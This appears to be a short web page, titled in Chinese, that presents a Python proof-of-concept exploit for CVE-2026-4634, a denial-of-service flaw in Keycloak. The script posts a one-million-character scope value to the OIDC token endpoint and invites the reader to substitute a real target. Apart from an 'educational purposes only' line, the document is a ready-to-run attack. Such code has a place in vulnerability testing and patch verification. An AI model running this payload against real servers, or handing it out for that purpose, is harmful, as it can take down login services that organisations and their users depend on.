CVE-2026-4634 Keycloak拒绝服务漏洞

import requests def exploit_cve_2026_4634(target_url): """ PoC for CVE-2026-4634: Keycloak DoS via long scope parameter. Warning: For educational purposes only. """ # The OIDC token endpoint full_url = f"{target_url}/realms/master/protocol/openid-connect/token" # Craft a malicious scope parameter with excessive length # Adjust the length (e.g., 1000000) as needed to trigger resource exhaustion malicious_scope = "A" * 1000000 payload = { "client_id": "admin-cli", "grant_type": "password", "username": "test", "password": "test", "scope": malicious_scope } headers = { "Content-Type": "application/x-www-form-urlencoded" } try: print(f"Sending payload to {full_url}...") response = requests.post(full_url, data=payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print("Server might be unresponsive if vulnerable.") except requests.exceptions.Timeout: print("Request timed out. Potential DoS condition triggered.") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target exploit_cve_2026_4634(target)